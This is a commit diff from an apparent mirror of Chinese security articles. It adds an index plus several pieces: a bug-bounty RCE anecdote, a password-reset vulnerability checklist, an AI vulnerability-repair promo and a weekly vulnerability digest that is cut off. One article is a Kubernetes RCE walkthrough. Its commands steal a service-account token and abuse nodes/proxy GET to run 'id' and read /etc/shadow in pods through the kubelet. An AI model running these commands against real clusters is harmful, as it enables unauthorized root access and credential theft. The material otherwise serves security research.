mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-28 19:30:54 +00:00
Kubernetes RCE：利用 nodes∕proxy GET 请求漏洞、渗透测试人员必备武器库：子域名爆破、漏洞扫描、内网渗透、工控安全工具全收录、网安靶场实战指南（第6期）：从Web漏洞到拿下服务器！VulnHub靶场DC-1通关实录，新手也能学会提权、EDUSRC实战RCE记录、密码重置漏洞检查清单、每周漏洞情报速览｜2026.1.24–1.30、【AI安全】传统漏洞修复已死！VulnResolver给大模型加 BUFF、漏洞复现 | 致远OA 权限绕过saveExcelInBase任意文件上传漏洞、
This commit is contained in:
test committed
1 parent
815c5412e9
commit
c9683cb344
9 files changed
+1112
-1
No files matched your search
@@ -17395,5 +17395,13 @@
|
||||
"https://mp.weixin.qq.com/s/Ue5qSeokPG4SokP7_bBOwA": "奇安信获NVDB-CAVD年度优秀技术支撑单位 10项原创漏洞证书彰显车联网安全实力",
|
||||
"https://mp.weixin.qq.com/s/lWrMvRHJz7XZFILqV-Pvyg": "通过沙箱逃逸在 n8n 上实现远程代码执行 - CVE-2026-1470 和 CVE-2026-0863",
|
||||
"https://mp.weixin.qq.com/s/PM-8fL98qmAVM0c1qJ_hlA": "CVE-2022-4223 pgAdmin = 6.16 未授权命令执行漏洞",
|
||||
"https://mp.weixin.qq.com/s/Qpbw1qQqhEPsoXzfqTklig": "微软Office曝高危漏洞、耐克遭勒索攻击|一周特辑"
|
||||
"https://mp.weixin.qq.com/s/Qpbw1qQqhEPsoXzfqTklig": "微软Office曝高危漏洞、耐克遭勒索攻击|一周特辑",
|
||||
"https://mp.weixin.qq.com/s/VBedpkwdO40AgzIVwgnUgA": "Kubernetes RCE：利用 nodes∕proxy GET 请求漏洞",
|
||||
"https://mp.weixin.qq.com/s/Mx0inKTIqnXo6Ak1T9-RRw": "渗透测试人员必备武器库：子域名爆破、漏洞扫描、内网渗透、工控安全工具全收录",
|
||||
"https://mp.weixin.qq.com/s/rafYxCOmhsCA8OWIWNp3Dg": "网安靶场实战指南（第6期）：从Web漏洞到拿下服务器！VulnHub靶场DC-1通关实录，新手也能学会提权",
|
||||
"https://mp.weixin.qq.com/s/QMFDTMCuCvs2m0weeOlP5w": "EDUSRC实战RCE记录",
|
||||
"https://mp.weixin.qq.com/s/3dBX4ZdJIdvbSJU6Ld_M3Q": "密码重置漏洞检查清单",
|
||||
"https://mp.weixin.qq.com/s/baxGH-fsFdMnNHf8023hxw": "每周漏洞情报速览｜2026.1.24–1.30",
|
||||
"https://mp.weixin.qq.com/s/qm0rfJAGrm-f55DvDa6AtQ": "【AI安全】传统漏洞修复已死！VulnResolver给大模型加 BUFF",
|
||||
"https://mp.weixin.qq.com/s/ZZ8YKMKQr8QKI_wGd0IIzw": "漏洞复现 | 致远OA 权限绕过saveExcelInBase任意文件上传漏洞"
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
# EDUSRC实战RCE记录
|
||||
安全艺术
|
||||
安全艺术 安全艺术 2026-01-31 02:31
|
||||
|
||||
dddd直接扫就行
|
||||
|
||||
|
||||
|
||||
提了几个，审核还蛮快的，重复还蛮多的，话说RCE都不修的吗？还有一些我在edusrc查了下，没有这个学校的漏洞信息，但还是重复了，很奇怪啊，有懂得师傅带带我吧。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
nextjs的rce
|
||||
|
||||
|
||||
|
||||
|
||||
帆软的rce，不知道是不是因为没传ma，只给了中危
|
||||
🤣
|
||||
|
||||
|
||||
|
||||
更多内容欢迎加入安艺圈。
|
||||
|
||||
**圈主个人介绍：**
|
||||
- 常用ID：
|
||||
carrypan/小醋君；
|
||||
|
||||
- 十年安全行业从事经验，多年攻防肾透和SRC挖掘经验，擅长SQL注入和弱口令类漏洞挖掘。
|
||||
**圈子主要内容：**
|
||||
- 聚焦于dddd的WEB类系统的指纹和POC集成，多次护网中斩获上万分记录；
|
||||
- 知识库维护：攻防渗透手册，SRC实战案例，Nday漏洞POC、JAVA代码审计、实战技巧总结等。
|
||||
**圈子面向对象：**
|
||||
- 攻防渗透的大师傅们；
|
||||
- SRC漏洞挖掘白帽子玩家。
|
||||
dddd使用场景：
|
||||
- 针对攻防和SRC漏洞挖掘的
|
||||
WEB类漏洞扫描
|
||||
。
|
||||
|
||||
|
||||
|
||||
**了解更多安艺圈内容，公众号后台回复："安艺圈"**
|
||||
|
||||
|
||||
**获取圈主联系方式，公众号后台回复："dddd"**
|
||||
|
||||
@@ -0,0 +1,76 @@
|
||||
# Kubernetes RCE：利用 nodes/proxy GET 请求漏洞
|
||||
ZM
|
||||
ZM 暗镜 2026-01-31 04:00
|
||||
|
||||
#
|
||||
|
||||
这是一个POC验证Kubernetes RCE仅供学习，不得用于其他用途
|
||||
|
||||
本实验演示了nodes/proxy GET权限如何允许在任何 Pod 中执行命令，即使该 Pod 看起来是只读的。
|
||||
## 进入目标POD
|
||||
|
||||
首先，进入目标 pod。该 pod 有一个仅具有相应nodes/proxy GET权限的服务帐户。
|
||||
```
|
||||
kubectl exec -it attacker -- sh
|
||||
```
|
||||
|
||||
复制到剪贴板
|
||||
## 检查您的权限
|
||||
|
||||
确认服务帐户仅包含nodes/proxy GET：
|
||||
```
|
||||
kubectl auth can-i --list
|
||||
```
|
||||
|
||||
复制到剪贴板
|
||||
|
||||
你应该nodes/proxy只看到get动词部分——无需create许可。
|
||||
## 设置环境变量
|
||||
|
||||
在攻击者 pod 内部，设置令牌和 API 服务器：
|
||||
```
|
||||
export TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)export APISERVER=https://kubernetes.default.svc
|
||||
```
|
||||
|
||||
复制到剪贴板
|
||||
|
||||
从 JWT 令牌有效负载中提取节点名称（JWT 使用 base64url 编码）：
|
||||
```
|
||||
export NODE_NAME=$(echo "$(echo $TOKEN | cut -d. -f2)==" | tr '_-' '/+' | base64 -d 2>/dev/null | jq -r '.["kubernetes.io"].node.name')echo $NODE_NAME
|
||||
```
|
||||
|
||||
复制到剪贴板
|
||||
## 发现 Pod 和节点 IP
|
||||
|
||||
仅使用nodes/proxy GET，查询 API 服务器代理端点，列出节点上的所有 pod 并发现它们的主机 IP：
|
||||
```
|
||||
wget -qO- --no-check-certificate \ --header "Authorization: Bearer $TOKEN" \ "$APISERVER/api/v1/nodes/$NODE_NAME/proxy/pods" | jq -r '.items[] | "Node: \(.spec.nodeName) (\(.status.hostIP)), Namespace: \(.metadata.namespace), Pod: \(.metadata.name)"'
|
||||
```
|
||||
|
||||
复制到剪贴板
|
||||
|
||||
提取节点 IP 地址以备后用：
|
||||
```
|
||||
export NODE_IP=$(wget -qO- --no-check-certificate \ --header "Authorization: Bearer $TOKEN" \ "$APISERVER/api/v1/nodes/$NODE_NAME/proxy/pods" | jq -r '.items[0].status.hostIP')echo $NODE_IP
|
||||
```
|
||||
|
||||
复制到剪贴板
|
||||
## 在任何 Pod 中执行命令
|
||||
|
||||
现在可以使用 websocat 在 nginx pod 中执行命令。之所以可行，是因为 WebSocket 连接使用 HTTP GET 进行握手，从而绕过了 CREATE 谓词检查：
|
||||
```
|
||||
websocat --insecure \ --header "Authorization: Bearer $TOKEN" \ --protocol v4.channel.k8s.io \ "wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=id"
|
||||
```
|
||||
|
||||
复制到剪贴板
|
||||
|
||||
你应该看到类似这样的输出uid=0(root) gid=0(root) groups=0(root)——证明仅使用 GET 权限执行命令。
|
||||
```
|
||||
websocat --insecure \ --header "Authorization: Bearer $TOKEN" \ --protocol v4.channel.k8s.io \ "wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=cat&command=/etc/shadow"
|
||||
```
|
||||
|
||||
复制到剪贴板
|
||||
|
||||
/etc/shadow读取nginx主机上的内容。
|
||||
|
||||
|
||||
@@ -0,0 +1,109 @@
|
||||
# 【AI安全】传统漏洞修复已死！VulnResolver给大模型加 BUFF
|
||||
原创 Oxo Security
|
||||
Oxo Security Oxo Security 2026-01-31 04:12
|
||||
|
||||
# 一、 大模型修漏洞的“死穴”：为什么你的 GPT 总是在瞎编代码？ 🧠⚠️
|
||||
##### AI 时代！人人都在深耕 AI 安全，你缺的就是这关键一步！🚀
|
||||
|
||||
AI 正重塑安全边界，与其在门外徘徊，不如直接掌握主动权！
|
||||
|
||||
|
||||
|
||||
在软件开发的星辰大海里，安全漏洞就像是隐藏在深处的“幽灵” 👻。随着代码规模爆炸式增长，从简单的缓冲区溢出到复杂的逻辑漏洞，安全风险正以几何倍数激增。虽然现在的模糊测试（Fuzzing）工具已经能像“雷达”一样扫出成千上万的漏洞，但真正的“老大难”问题在于：**谁来修？怎么修？**
|
||||
🛠️
|
||||
|
||||
|
||||
|
||||
长期以来，漏洞修复（AVR）主要靠人类专家“手操”。专家们要查阅几百页的文档，理解复杂的业务逻辑，才能写出一个既能堵住漏洞又不破坏原有功能的补丁。后来，大家开始尝试用大语言模型（LLM）来接管这项工作。起初，人们对 GPT-4、Claude 3.5 寄予厚望，觉得它们是“代码之神”，但很快现实就浇了一盆冷水。
|
||||
|
||||
目前的自动修复框架主要分为两派，但它们都有致命的“死穴”：
|
||||
1. 1. **“野路子”派（纯 Agent 架构）：**
|
||||
这一派让 AI 像人类一样自由探索。AI 会自己调用工具、看代码、改文件。听起来很酷，对吧？但问题是 AI 容易“走丢” 🏃💨。在面对成千上万行代码的大型项目时，AI 往往会陷入“思维漂移”，一会儿去翻这个文件，一会儿去改那个函数，最后改出一堆编译都过不去的补丁，甚至干脆“罢工”放弃。这就是所谓的“非确定性规划”陷阱。
|
||||
|
||||
1. 2. **“死脑筋”派（纯 Workflow 架构）：**
|
||||
这一派规定了死板的流程：第一步定位，第二步生成补丁，第三步测试。这种方式虽然稳定，但太“瞎”了 🙈。它们通常只盯着开发者写的漏洞报告（Issue Report）看，完全没有“全局观”。如果漏洞报告里没写清楚，或者漏洞涉及深层的代码依赖，这种死板的流程就会因为缺乏上下文信息而彻底抓瞎。
|
||||
|
||||
更要命的是，大家都忽略了一个核心问题：**安全漏洞不是普通的 Bug！**
|
||||
🛑 普通 Bug 可能是功能没实现，而漏洞本质上是违反了某种“安全约束”。比如，你进门要刷卡，结果有个窗户没关，这就是漏洞。现有的 AI 修复工具只懂语法，不懂“安全属性”。它们可能把代码改得看上去没报错了，但实际上漏洞的根源——那个“没关的窗户”——依然在那儿。
|
||||
|
||||
就在这个关键时刻，来自北航和南洋理工大学的研究团队祭出了大招：**VulnResolver！**
|
||||
⚡ 这是全球首个针对自动漏洞修复设计的“混合智能体框架”。它不走极端，而是把“Agent 的灵活性”和“Workflow 的稳定性”完美融合。最狂暴的是，它引入了“安全属性分析”的概念，直接击穿了大模型在安全语义理解上的防线！
|
||||
|
||||
👇 **下面这张表清晰地展示了 VulnResolver 与传统方法的降维打击：**
|
||||
<table><thead><tr><th style="padding: 12px 15px;text-align: left;font-weight: 600;color: #1d1d1f;border-bottom: 1.5px solid rgba(0,0,0,0.1);background: #fbfbfd;"><section><span leaf="">特性</span></section></th><th style="padding: 12px 15px;text-align: left;font-weight: 600;color: #1d1d1f;border-bottom: 1.5px solid rgba(0,0,0,0.1);background: #fbfbfd;"><section><span leaf="">传统 Agent (如 SWE-agent)</span></section></th><th style="padding: 12px 15px;text-align: left;font-weight: 600;color: #1d1d1f;border-bottom: 1.5px solid rgba(0,0,0,0.1);background: #fbfbfd;"><section><span leaf="">传统 Workflow (如 Agentless)</span></section></th><th style="padding: 12px 15px;text-align: left;font-weight: 600;color: #1d1d1f;border-bottom: 1.5px solid rgba(0,0,0,0.1);background: #fbfbfd;"><strong style="font-weight: 600;background-image: linear-gradient(135deg, #007aff, #5856d6);-webkit-background-clip: text;background-clip: text;color: transparent;"><span leaf="">VulnResolver (我们的战神)</span></strong></th></tr></thead><tbody><tr><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;background: rgba(0,0,0,0.02);"><strong style="font-weight: 600;background-image: linear-gradient(135deg, #007aff, #5856d6);-webkit-background-clip: text;background-clip: text;color: transparent;"><span leaf="">稳定性</span></strong></td><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;background: rgba(0,0,0,0.02);"><section><span leaf="">极差（容易陷入死循环或漂移）</span></section></td><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;background: rgba(0,0,0,0.02);"><section><span leaf="">极佳（流程固定）</span></section></td><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;background: rgba(0,0,0,0.02);"><strong style="font-weight: 600;background-image: linear-gradient(135deg, #007aff, #5856d6);-webkit-background-clip: text;background-clip: text;color: transparent;"><span leaf="">极佳（确定性骨架 + 局部探索）</span></strong></td></tr><tr><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;"><strong style="font-weight: 600;background-image: linear-gradient(135deg, #007aff, #5856d6);-webkit-background-clip: text;background-clip: text;color: transparent;"><span leaf="">上下文感知</span></strong></td><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;"><section><span leaf="">较强（但无目的性搜索多）</span></section></td><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;"><section><span leaf="">极弱（依赖 Issue 文本）</span></section></td><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;"><strong style="font-weight: 600;background-image: linear-gradient(135deg, #007aff, #5856d6);-webkit-background-clip: text;background-clip: text;color: transparent;"><span leaf="">极强（主动式、结构化预收集）</span></strong></td></tr><tr><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;background: rgba(0,0,0,0.02);"><strong style="font-weight: 600;background-image: linear-gradient(135deg, #007aff, #5856d6);-webkit-background-clip: text;background-clip: text;color: transparent;"><span leaf="">安全意识</span></strong></td><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;background: rgba(0,0,0,0.02);"><section><span leaf="">零（把它当普通 Bug 修）</span></section></td><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;background: rgba(0,0,0,0.02);"><section><span leaf="">零（没有安全约束概念）</span></section></td><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;background: rgba(0,0,0,0.02);"><strong style="font-weight: 600;background-image: linear-gradient(135deg, #007aff, #5856d6);-webkit-background-clip: text;background-clip: text;color: transparent;"><span leaf="">满分（自带安全属性分析 Agent）</span></strong></td></tr><tr><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;"><strong style="font-weight: 600;background-image: linear-gradient(135deg, #007aff, #5856d6);-webkit-background-clip: text;background-clip: text;color: transparent;"><span leaf="">修复成功率</span></strong></td><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;"><section><span leaf="">较低 (SEC-bench ~30%)</span></section></td><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;"><section><span leaf="">中等 (SEC-bench ~40%)</span></section></td><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;"><strong style="font-weight: 600;background-image: linear-gradient(135deg, #007aff, #585Line truncated
|
||||
|
||||
VulnResolver 到底凭什么这么强？因为它不是一个大模型在战斗，而是一个分工明确的“特种作战小组”。它在确定的修复流程（Workflow）中，嵌入了两个专门为安全而生的智能体：**CPCAgent**
|
||||
和 **SPAAgent**
|
||||
。
|
||||
|
||||
|
||||
### 1. CPCAgent：代码世界的“全能侦探” 🔍
|
||||
|
||||
想象一下，你接到了一个报修电话，说某栋大楼的某个水管漏了。传统 AI 会直接拿着扳手冲过去。而 **CPCAgent（上下文预收集智能体）**
|
||||
会先调出整栋楼的设计图纸，检查水管的来龙去脉，看看它连接了哪些阀门。
|
||||
|
||||
它拥有三套核心工具包：
|
||||
- • **代码搜索工具（Code Search Toolkit）：**
|
||||
不只是简单的全文搜索，它能精确识别类、结构体、函数和宏。甚至能标注行号，防止大模型在定位时数错行（这是很多 AI 的通病）。
|
||||
|
||||
- • **符号分析工具（Code Symbol Analysis Toolkit）：**
|
||||
这是它的“火眼金睛”。它能像程序员按 Ctrl+Click
|
||||
一样，瞬间找到一个变量是在哪儿定义的，有哪些地方引用了它。
|
||||
|
||||
- • **静态分析增强：**
|
||||
它可以自动在代码里插桩，通过标记位来追踪复杂的依赖链。
|
||||
|
||||
**它的任务：**
|
||||
在正式开始修补之前，先在代码库里疯狂探索，把跟漏洞相关的“前世今生”全部挖出来，生成一份详尽的《上下文分析报告》（Report I）。
|
||||
### 2. SPAAgent：安全规则的“严苛裁判” 🛡️
|
||||
|
||||
如果说 CPCAgent 是找线索的，那么 **SPAAgent（安全属性分析智能体）**
|
||||
就是定罪的。它是 VulnResolver 最核心的灵魂所在。
|
||||
|
||||
如前所述，漏洞是违反了“安全属性”。比如缓冲区溢出，就是违反了“访问索引必须在数组边界内”这条属性。SPAAgent 不会盲目改代码，它会先玩“假设检验”：
|
||||
- • **逻辑推演：**
|
||||
结合 Issue 报告，它会分析这个漏洞可能违反了哪条安全属性（例如：空指针检查、边界检查、竞争条件规避）。
|
||||
|
||||
- • **动态插桩：**
|
||||
它是会写代码的“安全专家”。它会生成一种特殊的宏——SAFETY_PROPERTY_ASSERT
|
||||
。它会把这些断言直接插入到疑似有问题的代码行里。
|
||||
|
||||
- • **PoC 验证：**
|
||||
它会运行漏洞演示程序（PoC）。如果断言失败了（FAIL），说明它抓到了漏洞的“现行”！如果编译不过，它还会根据错误日志自动修正断言代码。
|
||||
|
||||
- • **迭代进化：**
|
||||
它会根据运行结果反复修改断言，直到能精确定义漏洞发生的语义条件，最后生成一份《属性分析报告》（Report II）。
|
||||
|
||||
### 3. 五大工具箱：给 AI 配齐最强装备 🛠️💎
|
||||
|
||||
为了让这两个 Agent 能够横着走，VulnResolver 提供了全套的沙盒环境和工具链：
|
||||
<table><thead><tr><th style="padding: 12px 15px;text-align: left;font-weight: 600;color: #1d1d1f;border-bottom: 1.5px solid rgba(0,0,0,0.1);background: #fbfbfd;"><section><span leaf="">工具名称</span></section></th><th style="padding: 12px 15px;text-align: left;font-weight: 600;color: #1d1d1f;border-bottom: 1.5px solid rgba(0,0,0,0.1);background: #fbfbfd;"><section><span leaf="">核心功能描述</span></section></th><th style="padding: 12px 15px;text-align: left;font-weight: 600;color: #1d1d1f;border-bottom: 1.5px solid rgba(0,0,0,0.1);background: #fbfbfd;"><section><span leaf="">AI 怎么用？</span></section></th></tr></thead><tbody><tr><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;background: rgba(0,0,0,0.02);"><strong style="font-weight: 600;background-image: linear-gradient(135deg, #007aff, #5856d6);-webkit-background-clip: text;background-clip: text;color: transparent;"><span leaf="">Code Search</span></strong></td><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;background: rgba(0,0,0,0.02);"><section><span leaf="">检索代码结构、类、宏、全局变量</span></section></td><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;background: rgba(0,0,0,0.02);"><section><span leaf="">“帮我看看这函数在干嘛”</span></section></td></tr><tr><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;"><strong style="font-weight: 600;background-image: linear-gradient(135deg, #007aff, #5856d6);-webkit-background-clip: text;background-clip: text;color: transparent;"><span leaf="">Symbol Analysis</span></strong></td><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;"><section><span leaf="">基于 LSP 协议解析定义与引用</span></section></td><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;"><section><span leaf="">“这变量是谁家的孩子？”</span></section></td></tr><tr><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;background: rgba(0,0,0,0.02);"><strong style="font-weight: 600;background-image: linear-gradient(135deg, #007aff, #5856d6);-webkit-background-clip: text;background-clip: text;color: transparent;"><span leaf="">PoC Execution</span></strong></td><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;background: rgba(0,0,0,0.02);"><section><span leaf="">在安全沙盒里编译并运行漏洞程序</span></section></td><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;background: rgba(0,0,0,0.02);"><section><span leaf="">“跑一遍，看崩在哪儿了”</span></section></td></tr><tr><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;"><strong style="font-weight: 600;background-image: linear-gradient(135deg, #007aff, #5856d6);-webkit-background-clip: text;background-clip: text;color: transparent;"><span leaf="">Project Editing</span></strong></td><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;"><section><span leaf="">基于 Git 的撤销/重做机制修改代码</span></section></td><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;"><section><span leaf="">“先试着改一下，不行再撤回”</span></section></td></tr><tr><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;background: rgba(0,0,0,0.02);"><strong style="font-weight: 600;background-image: linear-gradient(135deg, #007aff, #5856d6);-webkit-background-clip: text;background-clip: text;color: transparent;"><span leaf="">Python Execution</span></strong></td><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;background: rgba(0,0,0,0.02);"><section><span leaf="">运行自生成的脚本进行数据处理</span></section></td><td style="padding: 10px 15px;border-bottom: 1px solid rgba(0,0,0,0.05);color: #333333;background: rgba(0,0,0,0.02);"><section><span leaf="">“帮我算算这个十六进制偏移量”</span></section></td></tr></tbody></table>
|
||||
**这种“双 Agent + 确定性 Workflow”的混合模式，完美解决了灵活性与稳定性的矛盾。**
|
||||
Workflow 保证了修复的大方向不会错，而 Agent 则在局部发挥聪明才智，确保每一行代码都改得有理有据。
|
||||
# 三、 暴击 75% 修复率！VulnResolver 凭什么能吊打 OpenAI 和 Claude 原生 Agent？ 📈💥
|
||||
|
||||
🎯 **【AI 安全攻防 · 漏洞修复实战】**
|
||||
|
||||
面对复杂的现实世界漏洞，VulnResolver 是如何实现对 GPT-4o 等顶级模型的降维打击，甚至将修复成功率直接翻倍的？为什么在这一框架下，国产模型 DeepSeek 竟能展现出令人惊叹的超高性价比？
|
||||
|
||||
欲解锁本章节关于 SEC-bench 权威测试的详尽对比数据、深度消融实验分析，以及 VulnResolver 捕捉“幽灵溢出”漏洞的真实案例全过程，请前往 **Oxo AI Security 知识星球**
|
||||
获取完整内容。星球内部还沉淀了…
|
||||
- • 📚 **AI 文献解读**
|
||||
：最前沿的 LLM 安全论文深度剖析。
|
||||
|
||||
- • 🐛 **AI 漏洞情报**
|
||||
：第一时间掌握主流大模型的 0-day 漏洞与越狱方式。
|
||||
|
||||
- • 🛡 **AI 安全体系**
|
||||
：从红队攻击到蓝队防御的全方位知识图谱。
|
||||
|
||||
- • 🛠 **AI 攻防工具**
|
||||
：红队专属的自动化测试与扫描工具箱。 🚀 立即加入 Oxo AI Security 知识星球，掌握AI安全攻防核心能力！
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,172 @@
|
||||
# 密码重置漏洞检查清单
|
||||
原创 Pwn1
|
||||
Pwn1 漏洞集萃 2026-01-31 02:44
|
||||
|
||||
|
||||
|
||||
> **免责声明**
|
||||
|
||||
本公众号所发布的文章内容仅供学习与交流使用，禁止用于任何非法用途。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
1.
|
||||
|
||||
1.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
### 1. 密码重置令牌漏洞
|
||||
- ☐ 重置令牌可预测或过短
|
||||
|
||||
- ☐ 令牌在成功重置后仍可重复使用
|
||||
|
||||
- ☐ 令牌不过期 或 TTL 过长
|
||||
|
||||
- ☐ 令牌未绑定到特定用户
|
||||
|
||||
- ☐ 令牌在修改密码/邮箱后仍然有效
|
||||
|
||||
- ☐ 令牌可在多个设备/会话上使用
|
||||
|
||||
### 2.通过重置流程实现账户接管（严重）
|
||||
- ☐ 无需有效令牌即可重置密码
|
||||
|
||||
- ☐ 通过修改用户标识符（邮箱/用户ID）重置他人密码
|
||||
|
||||
- ☐ 重置端点存在 IDOR（可改他人密码）
|
||||
|
||||
- ☐ 重置流程绕过了额外的验证（2FA、邮箱验证等）
|
||||
|
||||
- ☐ 服务端允许设置空密码或弱密码
|
||||
|
||||
### 3. 通过密码重置进行用户枚举
|
||||
- ☐ 对有效/无效邮箱返回不同的响应
|
||||
|
||||
- ☐ 时间差暴露账户是否存在
|
||||
|
||||
- ☐ 状态码对现有用户与不存在用户不同
|
||||
|
||||
- ☐ 仅对真实账户发送重置邮件（可观察到）
|
||||
|
||||
- ☐ 真实用户与假用户触发不同的限速行为
|
||||
|
||||
### 4. 速率限制与滥用
|
||||
- ☐ 重置请求端点没有任何速率限制
|
||||
|
||||
- ☐ 可通过重复请求进行邮件轰炸
|
||||
|
||||
- ☐ 缺少 CAPTCHA 或 CAPTCHA 可绕过
|
||||
|
||||
- ☐ 通过 IP/请求头轮换可绕过限制
|
||||
|
||||
- ☐ 重置端点可被用于对用户邮箱进行 DoS
|
||||
|
||||
### 5. 注入漏洞
|
||||
|
||||
**XSS / HTML 注入**
|
||||
- ☐ 重置邮件中存在 HTML/XSS 注入
|
||||
|
||||
- ☐ 重置错误消息中存在反射型 XSS
|
||||
|
||||
- ☐ 通过用于重置的邮箱/姓名字段实现存储型 XSS**后端注入**
|
||||
|
||||
- ☐ 邮箱 / token 参数存在 SQL 注入
|
||||
|
||||
- ☐ 重置查询中存在 NoSQL 注入（$ne, $gt 等）
|
||||
|
||||
- ☐ 重置邮件模板存在模板注入
|
||||
|
||||
- ☐ 其他模板引擎注入
|
||||
|
||||
### 6. 认证与会话问题
|
||||
- ☐ 密码重置后现有会话未被失效
|
||||
|
||||
- ☐ 重置后自动登录用户
|
||||
|
||||
- ☐ 会话密码重置后的会话固定（Session Fixation）
|
||||
|
||||
- ☐ 重置响应中泄露了认证令牌
|
||||
|
||||
- ☐ 密码重置未撤销 API tokens
|
||||
|
||||
### 7. CSRF 与跨域重置
|
||||
- ☐ 重置请求端点易受 CSRF 攻击
|
||||
|
||||
- ☐ CSRF token 缺失或未验证
|
||||
|
||||
- ☐ SameSite Cookie 配置过弱
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
觉得本文内容对您有启发或帮助？
|
||||
|
||||
点个**关注➕**
|
||||
，获取更多深度分析与前沿资讯！
|
||||
|
||||
|
||||
👉 往期精选
|
||||
|
||||
[注册功能漏洞检查清单](https://mp.weixin.qq.com/s?__biz=MzkxNjc0ODA3NQ==&mid=2247484879&idx=1&sn=16cbb0a02931f172a8b7aea7877debe0&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[API 渗透实战：从 JSON 响应倒推隐藏的高危路由](https://mp.weixin.qq.com/s?__biz=MzkxNjc0ODA3NQ==&mid=2247484828&idx=1&sn=376a99fecd6210283cc43c2a79633b26&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
[一种利用 HTTP 重定向循环的新型 SSRF 技术](https://mp.weixin.qq.com/s?__biz=MzkxNjc0ODA3NQ==&mid=2247484872&idx=1&sn=085b9ed569eefc9a96122fd164da9707&scene=21#wechat_redirect)
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,105 @@
|
||||
# 每周漏洞情报速览｜2026.1.24–1.30
|
||||
原创 360漏洞研究院
|
||||
360漏洞研究院 360漏洞研究院 2026-01-31 02:00
|
||||
|
||||
“扫描下方二维码，进入公众号粉丝交流群。更多一手网安资讯、漏洞预警、技术干货和技术交流等您参与！”
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
- **Instagram私有账号数据泄露漏洞**
|
||||
|
||||
未经身份验证的攻击者可通过特定请求头访问私有账号的帖子和图片，影响约28%的私有账号。
|
||||
|
||||
https://medium.com/@jatin.b.rx3/i-found-a-bug-that-exposed-private-instagram-posts-to-anyone-eebb7923f7e3
|
||||
|
||||
- **Firefox WebRTC编码转换UAF漏洞（CVE-2025-14321）**
|
||||
|
||||
WebRTC API的RTCEncodedFrameBase类存在UAF漏洞，可导致堆损坏和信息泄露。
|
||||
|
||||
https://aisle.com/blog/firefox-webrtc-encoded-transforms-uaf-via-undetached-arraybuffer-cve-2025-14321
|
||||
|
||||
- **Rufus TOCTOU条件竞争本地权限提升漏洞（CVE-2026-23988）**
|
||||
|
||||
Rufus处理PowerShell脚本时存在TOCTOU条件竞争，CVSS评分7.3（高危），可实现本地权限提升。
|
||||
|
||||
https://github.com/pbatard/rufus/security/advisories/GHSA-hcx5-hrhj-xhq9
|
||||
|
||||
- **Node.js vm2沙箱逃逸漏洞（CVE-2026-22709）**
|
||||
|
||||
vm2沙箱组件存在逃逸漏洞，CVSS评分9.8（严重），攻击者可通过Promise对象绕过沙箱隔离实现RCE。
|
||||
|
||||
https://github.com/advisories/GHSA-99p7-6v5w-7xg8
|
||||
|
||||
- **Windows 11管理员保护功能绕过漏洞**
